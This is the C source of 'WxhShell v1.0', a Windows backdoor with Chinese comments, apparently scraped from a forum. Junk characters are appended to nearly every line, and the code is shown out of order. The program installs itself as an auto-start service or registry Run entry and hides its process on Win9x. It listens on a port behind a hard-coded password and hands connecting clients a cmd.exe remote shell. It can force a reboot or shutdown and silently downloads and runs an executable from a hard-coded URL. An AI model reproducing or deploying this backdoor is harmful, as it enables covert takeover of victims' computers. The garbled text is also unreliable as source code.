    if(Boot(SHUTDOWN)) :a9   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tN z(s)  
    else { Sv!JA#Ag  
    closesocket(wsh); ==EB\>g|  
    ExitThread(0); 4u#TKr.  
    } JB'XH~4H  
    break; @I#uv|=N  
    } P+DIo7VTX  
  // 获取shell dj{~!}  
  case 's': { 0!M'z  
    CmdShell(wsh); >+):eB L  
    closesocket(wsh); P=Su)c  
    ExitThread(0); z#2n+hwE  
    break;  |^"0bu"  
  } S:1g(f*85  
  // 退出 ,( NN)Oj  
  case 'x': { h=B= J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >~_)2_j  
    CloseIt(wsh); eg24.W9c  
    break; aP#/%  
    } Q"H/RMo-  
  // 离开 L2OR<3*|Av  
  case 'q': { J M`[|"R%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rx?ze(  
    closesocket(wsh); &d\ y:7  
    WSACleanup(); *q+X ?3  
    exit(1); "<LWz&e^^  
    break; Zpz3 ?VM(  
        } ilAhw4A  
  } [pInF Qh6  
  } *D.Ajd.G  
ABcB-V4  
  // 提示信息 nlA:C>=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (p<pF].  
} }b/P\1#z  
  } {(I":rt#  
nu(7Y YCM$  
  return; o=Y'ns^a(  
} ]J@-,FFC  
D"%>  
// shell模块句柄 I5 qrHBJ >  
int CmdShell(SOCKET sock) l]OzE-*$b  
{ z"Mk(d@-E  
STARTUPINFO si; m"QDc[^Ge  
ZeroMemory(&si,sizeof(si)); Xt +9z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ILqBa:J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?wFL\C  
PROCESS_INFORMATION ProcessInfo; 2f62 0   
char cmdline[]="cmd"; opMnLor  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /aIGq/;Y+a  
  return 0; ]sJC%/  
} bkS"]q)>  
p}<60O"r$  
// 自身启动模式 ?'_6M4UKa  
int StartFromService(void) gtePo[ZH.P  
{ B9Hib1<8  
typedef struct hCS}  
{ 3#Bb4\_v  
  DWORD ExitStatus; -:E~Z_J`  
  DWORD PebBaseAddress; vrcIwCa  
  DWORD AffinityMask; V:vqt@  
  DWORD BasePriority; n2EPx(~  
  ULONG UniqueProcessId; Hq!|r8@6  
  ULONG InheritedFromUniqueProcessId; *ifz@8C }  
}   PROCESS_BASIC_INFORMATION; 5{Q9n{dOh  
p4 =/rkq  
PROCNTQSIP NtQueryInformationProcess; FRQ0t!b<M1  
K6sXw[VC[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "%\hDL;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5 7-Hx;  
: ]+6l  
  HANDLE             hProcess; UtP|<]{  
  PROCESS_BASIC_INFORMATION pbi; -Jw4z# /-  
xiDgQTDz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8;r#HtFM  
  if(NULL == hInst ) return 0; *0to,$ n  
i;-M8Q^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v?Utz~lQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gu+zfvkcY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  6su~SPh  
|<5F08]v  
  if (!NtQueryInformationProcess) return 0; 6uT*Fg-G  
*mbzK*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /R&h#;l  
  if(!hProcess) return 0; O1S7t)ag  
CH&{x7$he  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ml<tH2Qx3C  
.Z  67  
  CloseHandle(hProcess); y^ |u'XK  
D}LM(s3li7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OF+4Mq  
if(hProcess==NULL) return 0; n\3#69VY  
P^Owgr=Y  
HMODULE hMod; ;81,1 Ie<~  
char procName[255]; x7U=1y(  
unsigned long cbNeeded; XbB(<\0+  
iER@_?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ".N+nM~  
 ]%FAJ\  
  CloseHandle(hProcess); {:|3V 7X  
f:ObI  
if(strstr(procName,"services")) return 1; // 以服务启动 YO$D-  
f&mi nBU  
  return 0; // 注册表启动 1P*hC<  
} yCvtglAJ4  
S#?2E8  
// 主模块 ninWnQq  
int StartWxhshell(LPSTR lpCmdLine) 7HBf^N.  
{ zh*D2/ r  
  SOCKET wsl; KE@+I.x  
BOOL val=TRUE; 5a$EXV  
  int port=0; Hd\V?#H  
  struct sockaddr_in door; V`1{*PrI@L  
`SsoRPW&$  
  if(wscfg.ws_autoins) Install(); 7XK0vKmW3  
b%%r`j,'JE  
port=atoi(lpCmdLine); Cj<8r S4+  
UaF~[toX  
if(port<=0) port=wscfg.ws_port; {MSE}|A\V  
mXOI"B9Sq  
  WSADATA data; ]i$0s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t`+A;%=K]  
f|FS%]fCxk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t4[q :[1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BB\GrD  
  door.sin_family = AF_INET; XhHgXVVGG<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OyF=G^w  
  door.sin_port = htons(port); R`Z"ey@C  
nOvR, 6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _ERtL5^  
closesocket(wsl); T+ZA"i+  
return 1; $3G^}A"  
} O573AA  
zMFTkDY  
  if(listen(wsl,2) == INVALID_SOCKET) { KF_fz   
closesocket(wsl); n@RmH>"  
return 1; /*T^7Y&  
} "TZY)\{L  
  Wxhshell(wsl); {pIh/0  
  WSACleanup(); $t.oGd@N  
c 'wRGMP  
return 0; jez0 A  
H.ksI;,  
} ,3Q~X$f  
w;`Jj -  
// 以NT服务方式启动 $|-Lw!)D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m0TVi]v  
{ $t):r@L  
DWORD   status = 0; Y~g{9 <!  
  DWORD   specificError = 0xfffffff; B[GC@]HE  
p%>sc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8%#8PLB2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X]p3?"7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OW4j!W  
  serviceStatus.dwWin32ExitCode     = 0; tr[}F7n9  
  serviceStatus.dwServiceSpecificExitCode = 0; /DHgwpJ  
  serviceStatus.dwCheckPoint       = 0; LJ/He[r|[  
  serviceStatus.dwWaitHint       = 0; S3ooG14Ls  
eV|N@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "dX~J3$  
  if (hServiceStatusHandle==0) return; cZNcplt8  
S > ~f.   
status = GetLastError(); w Wb>V&3  
  if (status!=NO_ERROR) a+cMXMf  
{ .cHgYHa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !Ud'(iGa  
    serviceStatus.dwCheckPoint       = 0; l5{60$g  
    serviceStatus.dwWaitHint       = 0; UrizZ 5a  
    serviceStatus.dwWin32ExitCode     = status; 0]|`*f&p;  
    serviceStatus.dwServiceSpecificExitCode = specificError; @F<{/|P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wn(!6yid  
    return; U]sAYp^$  
  } sX%n`L  
~{/M_ =  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V2Vr7v=Y"  
  serviceStatus.dwCheckPoint       = 0; f[k#Znr  
  serviceStatus.dwWaitHint       = 0; ^[x cfTN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q5SPyfE[  
} *=!e,  
.P)lQk\  
// 处理NT服务事件,比如:启动、停止 ~DInd-<5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o:AfEoH"~  
{ 8~C_ng-wn  
switch(fdwControl) VO|ECB2e  
{ w+ R/>a( ]  
case SERVICE_CONTROL_STOP: >>P5 4|&  
  serviceStatus.dwWin32ExitCode = 0; <u!cdYo@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9;e!r DW,#  
  serviceStatus.dwCheckPoint   = 0; .C% 28fH  
  serviceStatus.dwWaitHint     = 0; )y,^M3$?C  
  { 5)!g.8-!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :snO*Zg  
  } $ZBYOA  
  return; yDafNH  
case SERVICE_CONTROL_PAUSE: O:wG/et  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &>-j4,M  
  break; Q M0B6F  
case SERVICE_CONTROL_CONTINUE: t>\sP   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a_>|Ny6{  
  break; =b%}x >>  
case SERVICE_CONTROL_INTERROGATE: \;X7DK2  
  break; p@Y=6Bw  
}; $y8-JR~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AEyvljv  
} ]u|fLK.|  
b5NVQ8Mq  
// 标准应用程序主函数 8F}drK9>F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1hG#  
{ q Q\j  
' k,2*.A  
// 获取操作系统版本 l a3B`p  
OsIsNt=GetOsVer(); )\akIA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l{k_;i!D  
 arYq$~U  
  // 从命令行安装 pZnp!!G  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8q[; 0  
@sXv5kZ:  
  // 下载执行文件 nq M7Is  
if(wscfg.ws_downexe) { h:?^0b!@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UHZuH?|@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1F@j?)(  
} v-{g  
UT<e/  
if(!OsIsNt) { .{V"Gn9!  
// 如果时win9x,隐藏进程并且设置为注册表启动 $'J3 /C7  
HideProc(); k;l3^kTy  
StartWxhshell(lpCmdLine); <CyU9`ye  
} ]q]xU,  
else n=.P46|  
  if(StartFromService()) G!q[NRu  
  // 以服务方式启动 G *CPj^O  
  StartServiceCtrlDispatcher(DispatchTable); W7S~~  
else FnO@\{M"A  
  // 普通方式启动 UkL1h7}a\  
  StartWxhshell(lpCmdLine); YZol4q|ic  
y}?|+/ dN  
return 0; <`}P  
} Pxlc RF  
%O"8|ZG9{  
VXeO}>2S  
'R 7 \  
=========================================== yb`PMjj15  
C96/   
R_!.vGhkN  
$YSXE :  
jeC=s~  
c[h~=0UtJ  
" 6mM9p)"$  
* ,hhX psa  
#include <stdio.h> NAR6q{c  
#include <string.h> :viW  
#include <windows.h> GKBoSSnV&  
#include <winsock2.h> A8)4nOXM  
#include <winsvc.h> XiW1X6  
#include <urlmon.h> <tr]bCu}  
 ;l$$!PJ  
#pragma comment (lib, "Ws2_32.lib") GK@OdurAR  
#pragma comment (lib, "urlmon.lib") 6r)P&J  
WK{`_c U^  
#define MAX_USER   100 // 最大客户端连接数 51|ky-  
#define BUF_SOCK   200 // sock buffer ~>u .d  
#define KEY_BUFF   255 // 输入 buffer cQU/z"?+  
EeuYRyK  
#define REBOOT     0   // 重启 EQ1**[$  
#define SHUTDOWN   1   // 关机 ]  ,|,/~  
QaWS%0go  
#define DEF_PORT   5000 // 监听端口 )Qbd/zd\U  
XqTguO'  
#define REG_LEN     16   // 注册表键长度 G/_IY;  
#define SVC_LEN     80   // NT服务名长度 z(|^fi(  
5ya9VZ5#  
// 从dll定义API fkV@3sj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gaF6 j!p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <Ky-3:pxeM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WZ CI*'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @*6fEG{,q  
\x<8   
// wxhshell配置信息 g)X3:=['  
struct WSCFG { /fI}QY1  
  int ws_port;         // 监听端口 1dH|/9  
  char ws_passstr[REG_LEN]; // 口令 ^? fOccfQ{  
  int ws_autoins;       // 安装标记, 1=yes 0=no =xI;D,@S  
  char ws_regname[REG_LEN]; // 注册表键名 IKD{3cVL  
  char ws_svcname[REG_LEN]; // 服务名 cn'>dz3v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m:H^m/g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m^A2 8X7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1Viz`y)^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o4Q?K.9c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QYH-"-)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \nl(tU#j  
SI7rTJ]/  
}; -C=0Pg]ga  
`[/#, *\  
// default Wxhshell configuration <L}@p8Lq  
struct WSCFG wscfg={DEF_PORT,  ? wS}'  
    "xuhuanlingzhe", :j\7</uu  
    1, c./\sN@  
    "Wxhshell", VvhfD2*T  
    "Wxhshell", 1Bh"'9-!JT  
            "WxhShell Service", ho\1[xS  
    "Wrsky Windows CmdShell Service", fM= o?w6v  
    "Please Input Your Password: ", M xE]EJZ  
  1, `|t,Uc|7!  
  "http://www.wrsky.com/wxhshell.exe", 6!<I'M'[e  
  "Wxhshell.exe" "Y&I#&$b\  
    }; [&lK.?V)  
il0K ^i  
// 消息定义模块 O. * 0;5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !cW rB9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vrs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v:O{"s  
char *msg_ws_ext="\n\rExit."; YI0 wr1N  
char *msg_ws_end="\n\rQuit."; h]4xS?6O  
char *msg_ws_boot="\n\rReboot..."; X~{6$J|]#i  
char *msg_ws_poff="\n\rShutdown..."; ",#.?vT`  
char *msg_ws_down="\n\rSave to "; sx,$W3zI'G  
FYAEM!dyy  
char *msg_ws_err="\n\rErr!"; k/K)nH@)  
char *msg_ws_ok="\n\rOK!"; RXgb/VR  
AWO)]rM  
char ExeFile[MAX_PATH]; [txOh!sxD  
int nUser = 0; #CS>_qe.{  
HANDLE handles[MAX_USER]; B,>02EZ  
int OsIsNt; V DFgu  
^C>kmo3J  
SERVICE_STATUS       serviceStatus;  !:( +#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qGinlE&\  
~D52b1f  
// 函数声明 -^p{J TB+  
int Install(void); DE(XS zX  
int Uninstall(void); |#Gxqq'  
int DownloadFile(char *sURL, SOCKET wsh); <8r"QJY/  
int Boot(int flag); 8P n  
void HideProc(void); +B ?qx Q  
int GetOsVer(void); g"-j/ c   
int Wxhshell(SOCKET wsl); w-|Rb~XT h  
void TalkWithClient(void *cs); .:S/x{~  
int CmdShell(SOCKET sock); l}nVWuD  
int StartFromService(void); (i&+=+"wn  
int StartWxhshell(LPSTR lpCmdLine); "x,lL  
8ro`lX*F@2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8Km&3nCv$Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gek?+|m  
L%/RD2L D  
// 数据结构和表定义 L8 P0bNi  
SERVICE_TABLE_ENTRY DispatchTable[] = LuS@Kf8N+  
{ bZowc {!\  
{wscfg.ws_svcname, NTServiceMain}, *xnZTj:  
{NULL, NULL} N[{rsUBd  
};  Z-@nXt  
Wt.DL mO  
// 自我安装 $|$@?H>K  
int Install(void) J8'"vc}=  
{ .f~9IAXP`  
  char svExeFile[MAX_PATH]; =*UK!y?n  
  HKEY key; ;dIk$_FN  
  strcpy(svExeFile,ExeFile); g]~vZj  
v({O*OR  
// 如果是win9x系统,修改注册表设为自启动 @-@Coy 4Tt  
if(!OsIsNt) { 5`h 6oFxGp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @c~Z0+Ji  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >X~B1D,SV7  
  RegCloseKey(key); *yZ6"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ww<Y]H$xZ<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4D65VgVDM  
  RegCloseKey(key); 1*O|[W  
  return 0; 0]d;)_`@  
    } [YvS#M3T  
  } M9"Bx/  
} U,rI/'  
else { cU;Bm}U  
sI,cX#h&Y  
// 如果是NT以上系统,安装为系统服务 tU4#7b:Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ( 5LCy?-6  
if (schSCManager!=0) P1F-Wy1  
{ -}7$;QK&a  
  SC_HANDLE schService = CreateService dL42)HP5  
  ( {"o9pIh{~  
  schSCManager, *@rA7zPFf  
  wscfg.ws_svcname, #Xg;E3BM  
  wscfg.ws_svcdisp, ^ :VH?I=  
  SERVICE_ALL_ACCESS, 5/.W-Q\pl}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yi$CkG}  
  SERVICE_AUTO_START, &xGdKH  
  SERVICE_ERROR_NORMAL, jg$qp%7i%  
  svExeFile, 86#l$QaK{  
  NULL, LnR>!0:c  
  NULL, WwmYJl0  
  NULL, 'm<Lx _i  
  NULL, zs=3e~o3  
  NULL 'sEnh<  
  ); OZ`cE5"i  
  if (schService!=0) #|9W9\f,  
  { :8 2T!  
  CloseServiceHandle(schService); lZk  z\  
  CloseServiceHandle(schSCManager); CE"/&I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .s{ "NqRA  
  strcat(svExeFile,wscfg.ws_svcname); x`6MAZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LOUP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BlJiHz!  
  RegCloseKey(key); p4T$(]7  
  return 0; b0~r/M;J  
    } n/9afIN  
  } V%-hP~nyBx  
  CloseServiceHandle(schSCManager); V60L\?a  
} Q[OwP  
} dIC\U  
0)&!$@HW  
return 1; x%dny]O1;  
} VMah3T!  
GvVkb=="  
// 自我卸载 7}iv+rQ  
int Uninstall(void) J;& y?%{@5  
{ ::Zo` vP  
  HKEY key; ;yNc 7Vl  
H(y`[B,}*  
if(!OsIsNt) { #*h\U]=VS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vb,V N?l  
  RegDeleteValue(key,wscfg.ws_regname); SaPE 1^}  
  RegCloseKey(key); SVU>q:ab  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6]7csOE  
  RegDeleteValue(key,wscfg.ws_regname); .SC *!,  
  RegCloseKey(key); xs= ~N  
  return 0; 7I3_$uF  
  } CX]1I|T5  
} rXB;#ypO  
} 9=>q0D2  
else { :^7w  
ZvRa"j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JxIJxhA>  
if (schSCManager!=0) W9SU1{*9  
{ 0? {ADQz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4*EMd!E=<  
  if (schService!=0) ,YD7p= PY  
  { Odwe1q&  
  if(DeleteService(schService)!=0) { +O/b[O'0  
  CloseServiceHandle(schService); 2^r~->  
  CloseServiceHandle(schSCManager); 5FOMh"!z\  
  return 0; bZxN]6_  
  } sK2N3 B&6  
  CloseServiceHandle(schService); -6[DQB  
  } v,<14w  
  CloseServiceHandle(schSCManager); R"W}\0k  
} cC~RW71  
} r!R-3LO0s  
REW[`MBQ  
return 1; }`qAb/Ov  
} ;,bgJgK  
oC5 h-4~  
// 从指定url下载文件 ]dUG=dWO  
int DownloadFile(char *sURL, SOCKET wsh) _a$qsY  
{ ^xe+(83S2?  
  HRESULT hr; @!`__>K  
char seps[]= "/"; @R&d<^I&M  
char *token; ?.e,NHf  
char *file; atyvo0fNd  
char myURL[MAX_PATH]; 4!dc/K  
char myFILE[MAX_PATH]; XPdmz!,b  
kqBZsfF  
strcpy(myURL,sURL); U3_${  
  token=strtok(myURL,seps); xF8r+{_J)  
  while(token!=NULL) &M13F>!  
  { V\`Z|'WIQD  
    file=token; W,4!"*+  
  token=strtok(NULL,seps); >9H^r\  
  } ^_]ZZin  
+d3|Up8=  
GetCurrentDirectory(MAX_PATH,myFILE); NzgG7 7>  
strcat(myFILE, "\\"); A3eCI  
strcat(myFILE, file); {lf{0c$X.  
  send(wsh,myFILE,strlen(myFILE),0); k%6CkC w  
send(wsh,"...",3,0); :a}](Wn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T.da!!'B f  
  if(hr==S_OK) wv9HiHz8gD  
return 0; /p !A:8  
else bWTf P8gT  
return 1; aqON6|6K  
) H,Xkex  
} = wz}yfdrC  
g~DuK|+  
// 系统电源模块 |.k'?!  
int Boot(int flag) g*YDgY  
{ J5{;+ysUMl  
  HANDLE hToken; a0|hLqI  
  TOKEN_PRIVILEGES tkp; V_h&9]RL  
1'&.6{)P  
  if(OsIsNt) { Z|t=t"6"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s+:|b~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n\+ c3  
    tkp.PrivilegeCount = 1; afrF%!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R1zt6oY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #Y=^4U`  
if(flag==REBOOT) { gH//@`6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T]tP!a;K  
  return 0; +p%3pnj:K  
} syw1Z*WK  
else { ^L%_kL_7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t\,Y<9{w  
  return 0; n{gEIUo#  
} q%sZV>  
  } lEk@I"  
  else { 9L>?N:%5  
if(flag==REBOOT) { COw"6czX/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T8+[R2_  
  return 0; i.E2a)  
} Uj5-x%~  
else { t 'eaR-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5_(\Cd<#  
  return 0; `vBBJ@f4)  
} Wj.t4XG!  
} QXb2jWz  
L"b&O<N o  
return 1; Bt<)1_  
} j!4{+&Laq  
X /c8XLe"  
// win9x进程隐藏模块 JVoC2Z<  
void HideProc(void) ^5X?WA,Z99  
{ X$!fR >Zc  
x17:~[c']  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HTL6;87w+]  
  if ( hKernel != NULL ) ZVXPp -M  
  { H_?rbz}o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z"4 q%DC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5Cdn j  
    FreeLibrary(hKernel); ]o'o v  
  } $5XA S  
]W3_]N 3  
return; *q6XK_  
} X7$]qE K  
=E2 a#Vd  
// 获取操作系统版本 FtTq*[a  
int GetOsVer(void) xUn"XkhP  
{ 9Jwd*gevV  
  OSVERSIONINFO winfo; vbmt0df  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &. =8Q?  
  GetVersionEx(&winfo); > 'R{,1# U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7n5gXiI"  
  return 1; "}3sL#|z  
  else PSJj$bt;<+  
  return 0; &@6xu{o  
} Ll KO(Q{"  
<N)!s&D  
// 客户端句柄模块  vm! y2  
int Wxhshell(SOCKET wsl) JRB6T_U  
{ ]$g07 7o  
  SOCKET wsh; @ZISv'F  
  struct sockaddr_in client; )+L|<6JXA  
  DWORD myID;  Gsh9D  
obvE m[x!Z  
  while(nUser<MAX_USER) f7*Qa!!2p]  
{ MnD}i&k[  
  int nSize=sizeof(client); <{W{ Y\_A>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $z_yx `5  
  if(wsh==INVALID_SOCKET) return 1; :aOR@])>o  
^=x/:0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;n't:yQW  
if(handles[nUser]==0) i "V.$|,  
  closesocket(wsh); )5@P|{FF  
else ykC3Z<pI.  
  nUser++; E+Bc>xl@ m  
  } ~R;/u")@e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $6n J+  
wNUT0+  
  return 0; _WNbuk0  
} bpc1> ?  
8oE`>Y  
// 关闭 socket J!om"h  
void CloseIt(SOCKET wsh) sV#%U%un  
{ ~Z5AImR|  
closesocket(wsh); u4hn9**a1  
nUser--; o%'1=d3R1Q  
ExitThread(0); YXp\C"~g  
} vN(~}gOd\  
G/JGb2I/7|  
// 客户端请求句柄 vEfj3+e  
void TalkWithClient(void *cs) -L/%2 X  
{ FF#Aq  
_o9axBJs  
  SOCKET wsh=(SOCKET)cs; +=/j+S`  
  char pwd[SVC_LEN]; wnC-~&+6  
  char cmd[KEY_BUFF]; eZ:iW#YF  
char chr[1]; u43Mo\"<&%  
int i,j; Ct'tUF<K5  
n>)aw4  
  while (nUser < MAX_USER) { &vmk!wAs  
:? )!yI  
if(wscfg.ws_passstr) { Un8' P8C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (RI)<zaK ;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %ap]\o$^4  
  //ZeroMemory(pwd,KEY_BUFF); NlF*/Rs  
      i=0; !BVCuuM>w  
  while(i<SVC_LEN) { 'TYO-'aC  
';G/,wB?`  
  // 设置超时 4AL,=C3  
  fd_set FdRead; PV\J] |d,%  
  struct timeval TimeOut; {- I+  
  FD_ZERO(&FdRead); j)/Vtf  
  FD_SET(wsh,&FdRead); jvQ^Vh!mC  
  TimeOut.tv_sec=8; |]<#![!h#  
  TimeOut.tv_usec=0; b#@xg L*D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K\ Wzh;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _ uOi:Ti  
N?m)u,6-l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  B=*0  
  pwd=chr[0]; IiniaVuQ  
  if(chr[0]==0xd || chr[0]==0xa) { <%.%q  
  pwd=0; :uAL(3pQ  
  break; (^W}uDPCB  
  } >h%>s4W  
  i++; U~=?I)Ni  
    } k(G6` dY  
@Nb/n  
  // 如果是非法用户,关闭 socket <U$YJtEK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1M`>;fjYa  
} <SJ6<'  
I._ A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }eSy]r[J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =( ZOn=IL  
346 z`5  
while(1) { / ^)3V}  
*Z"cXg^ti  
  ZeroMemory(cmd,KEY_BUFF); 7Wef[N\x  
=ttD5 p  
      // 自动支持客户端 telnet标准   5 v.&|[\k  
  j=0; ]a.e;c-  
  while(j<KEY_BUFF) { d s`YVXKH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FrMXf,}  
  cmd[j]=chr[0]; T x Mh_  
  if(chr[0]==0xa || chr[0]==0xd) { J8\l'} ?&  
  cmd[j]=0; f~l pa7  
  break; ]?_~QE`  
  } :V6 [_VaF  
  j++; LS*L XC  
    } zq + 2@"q  
nN$.^!;&  
  // 下载文件 %H?B5y  
  if(strstr(cmd,"http://")) { f'ld6jt|%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *[cCY!+Qy  
  if(DownloadFile(cmd,wsh)) $|Ol?s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R/1e/t  
  else d>#',C#;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *# <%04f  
  } =~D[M)UO|  
  else { A ___| #R  
Ma\%uEgTD  
    switch(cmd[0]) { 5Kd"W,  
  5vD\?,f E  
  // 帮助 h)sT37  
